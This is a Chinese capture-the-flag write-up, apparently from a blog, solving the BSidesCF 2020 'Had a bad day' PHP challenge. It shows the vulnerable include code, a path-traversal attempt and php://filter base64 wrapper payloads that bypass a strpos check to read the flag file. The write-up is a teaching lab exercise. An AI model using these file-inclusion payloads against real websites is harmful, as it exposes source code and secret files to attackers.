[BSidesCF 2020]Had a bad day_WP

分析

文章目录

  • 打开题目后是有两个按钮的一个页面

  • -

  • 分别打开,可以看到url栏的变换

  • http://04705a2c-5cf1-465e-8749-5822f3e05e20.node4.buuoj.cn:81/index.php?category=woofers

  • 猜测是sql注入或者文件包含

  • 我们将url后加上单引号闭合

  • 在这里插入图片描述

  • 可以判断为文件包含漏洞

  • 无法直接包含到/flag,我们尝试用伪协议读取index.php的源码看看

  • php://filter/read=convert.base64-encode/resource=index

  • 在这里插入图片描述

解码得

<?php
				$file = $_GET['category'];

				if(isset($file))
				{
					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
						include ($file . '.php');
					}
					else{
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
				?>

strpos() 函数查找字符串在另一字符串中第一次出现的位置。
可以得出所传参数必须含有woofers或meowers或index

  • 我们试着包含一下flag

  • ?category=woofers/../flag

  • 在这里插入图片描述

  • 发现源码中的提醒,现在只需要伪协议读取即可

  • 在这里有一个小trick:php://filter伪协议可以套一层协议

  • php://filter/read=convert.base64-encode/index/resource=flag

  • 这样便可以保证url传入的参数中既有index,又可以读取flag的源码

  • 在这里插入图片描述

  • 解码即可得flag

  • 在这里插入图片描述

payload

php://filter/read=convert.base64-encode/index/resource=flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Acco_30_L

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值